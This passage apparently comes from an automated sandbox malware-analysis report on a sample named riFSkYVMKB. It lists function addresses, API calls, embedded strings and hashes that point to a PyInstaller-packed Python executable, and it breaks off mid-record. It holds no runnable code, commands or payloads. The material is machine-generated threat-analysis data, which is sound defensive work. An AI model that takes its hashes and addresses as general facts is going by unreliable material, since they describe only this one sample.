                                                                                                                                                                                                                                          Function 00007FF79D0795E0 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
                                                                                                                                                                                                                                          • Instruction ID: f3ebbb757507e3627b8b0a70ae0a8d15aafb2faa60360b31ee0bd0a556b1dcd1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DCF044717182958ADBA8DFBDA80262977D1F708380F90D039D5CD83B14DA3C90618F14
                                                                                                                                                                                                                                          Function 00007FF79D05D37C Relevance: .0, Instructions: 2COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
                                                                                                                                                                                                                                          • Instruction ID: 4c20dfcb8310ece42158b6daae6561abcea8dfab3329783f1a63a51b383f068a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E4A0012191D80AD0E664AB29A8A0075A320BB50304B800072E49D455A0AE6CA4419220
                                                                                                                                                                                                                                          Function 00007FF79D055820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055830
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055842
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055879
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05588B
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558A4
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558B6
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558CF
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558E1
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558FD
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05590F
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05592B
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05593D
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055959
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05596B
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055987
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055999
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0559B5
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0559C7
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressErrorLastProc
                                                                                                                                                                                                                                          • String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
                                                                                                                                                                                                                                          • API String ID: 199729137-653951865
                                                                                                                                                                                                                                          • Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
                                                                                                                                                                                                                                          • Instruction ID: e766a93c55791568b66ab9beec1de3bf037c79c4cac3c86d28ccb56372543055
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9A227E24E0DB07D1FA75BF7EAC181B8A3A1AF14755BC45035C89E1A3A0FF7CA54882A5
                                                                                                                                                                                                                                          Function 00007FF79D0581C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D059400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF79D0545E4,00000000,00007FF79D051985), ref: 00007FF79D059439
                                                                                                                                                                                                                                          • ExpandEnvironmentStringsW.KERNEL32(?,00007FF79D0588A7,?,?,00000000,00007FF79D053CBB), ref: 00007FF79D05821C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052810: MessageBoxW.USER32 ref: 00007FF79D0528EA
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                                                                                                                                                                                                          • String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
                                                                                                                                                                                                                                          • API String ID: 1662231829-930877121
                                                                                                                                                                                                                                          • Opcode ID: 6e1db7188d29f55993033d39f9d092d149d7f4b46b4bc38197dd47a6e93f4cef
                                                                                                                                                                                                                                          • Instruction ID: 0821e29555e82ae92c92f24d239f0300f025648da1cd2c8309425a8d5e6cc962
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6e1db7188d29f55993033d39f9d092d149d7f4b46b4bc38197dd47a6e93f4cef
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: BC516311A1DA4281EB70FB7EE8526BAE250EF94780FC44431EE8E46795FE2CE505C770
                                                                                                                                                                                                                                          Function 00007FF79D052180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                                                                                                                                                                                                          • String ID: P%
                                                                                                                                                                                                                                          • API String ID: 2147705588-2959514604
                                                                                                                                                                                                                                          • Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
                                                                                                                                                                                                                                          • Instruction ID: 6a494f9d9a14140de7cebd826dad647bb3b61d2bd451b45d38a1bb6fb3dfb4c9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6651E8266087A186D6349F36E4181BAF7A1FB98B65F404125EFDE43794EF3CD085DB20
                                                                                                                                                                                                                                          Function 00007FF79D0580B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: LongWindow$BlockCreateErrorLastReasonShutdown
                                                                                                                                                                                                                                          • String ID: Needs to remove its temporary files.
                                                                                                                                                                                                                                          • API String ID: 3975851968-2863640275
                                                                                                                                                                                                                                          • Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
                                                                                                                                                                                                                                          • Instruction ID: da71b4b282cf82e13a9338fd41cd0e126fbc1979c5be8d86222b29e437ecbab9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 11218321B0CA4282E765AB7EAC59179A254FF88B90FD84231DEAD473D4FE2CD5908320
                                                                                                                                                                                                                                          Function 00007FF79D066300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: -$:$f$p$p
                                                                                                                                                                                                                                          • API String ID: 3215553584-2013873522
                                                                                                                                                                                                                                          • Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
                                                                                                                                                                                                                                          • Instruction ID: 6143543d8d5f25de2ef7d33a1b0018e42ac4e6fa64014249bd84c1489f712d7d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: AC128271F0C94386FB30BAA9E1542B9F695FB40790FD44275E6CA466C8FB7CE5908B20
                                                                                                                                                                                                                                          Function 00007FF79D061038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: f$f$p$p$f
                                                                                                                                                                                                                                          • API String ID: 3215553584-1325933183
                                                                                                                                                                                                                                          • Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
                                                                                                                                                                                                                                          • Instruction ID: f7d127aeb4e32591877b747e28634ae6243e8c6ff7937f9f89283ac25208b5af
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C5127326F0C94386FB30BAA9E05467DE261FB50754FD84235E7DA479C4EB7CE4808B62
                                                                                                                                                                                                                                          Function 00007FF79D051050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                          • API String ID: 2050909247-3659356012
                                                                                                                                                                                                                                          • Opcode ID: 0ec7149eec0710fa9d9323e282840ee10b8b15cdc66eca2d14521238ce935cf3
                                                                                                                                                                                                                                          • Instruction ID: a44328b0765ff4c4bb6a7cc7485f02c92656f26ddf43a19520d3c5004b3f7092
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0ec7149eec0710fa9d9323e282840ee10b8b15cdc66eca2d14521238ce935cf3
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6B414A21B0C65282EA20FB7AE8006B9E394EF45B84FD44531ED8D0B796EE3CE5018765
                                                                                                                                                                                                                                          Function 00007FF79D051470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                          • API String ID: 2050909247-3659356012
                                                                                                                                                                                                                                          • Opcode ID: 62ff9e3b19fe26c323adf1388f89a477231863414bf20fb5b206531fea049e45
                                                                                                                                                                                                                                          • Instruction ID: 975e7f0c63a2e405316ea6e81074e8be8568229d68f5d7952d981d293456e241
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 62ff9e3b19fe26c323adf1388f89a477231863414bf20fb5b206531fea049e45
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3E415D21B0C64285EA20EB7AE8405B9F390EF44794FC44932ED9E07B99FE7CE556C721
                                                                                                                                                                                                                                          Function 00007FF79D05EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                                                                                                                                                                                          • String ID: csm$csm$csm
                                                                                                                                                                                                                                          • API String ID: 849930591-393685449
                                                                                                                                                                                                                                          • Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
                                                                                                                                                                                                                                          • Instruction ID: ab27a88939adbe166ce55919dc32e4858b9b3a4ca3705c11df808c31691c28cb
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A0D1803291C74186EB30AB7A94403ADBBA0FB45798F900135EECD57B95EF38E491D721
                                                                                                                                                                                                                                          Function 00007FF79D052C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF79D053706,?,00007FF79D053804), ref: 00007FF79D052C9E
                                                                                                                                                                                                                                          • FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF79D053706,?,00007FF79D053804), ref: 00007FF79D052D63
                                                                                                                                                                                                                                          • MessageBoxW.USER32 ref: 00007FF79D052D99
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Message$CurrentFormatProcess
                                                                                                                                                                                                                                          • String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
                                                                                                                                                                                                                                          • API String ID: 3940978338-251083826
                                                                                                                                                                                                                                          • Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
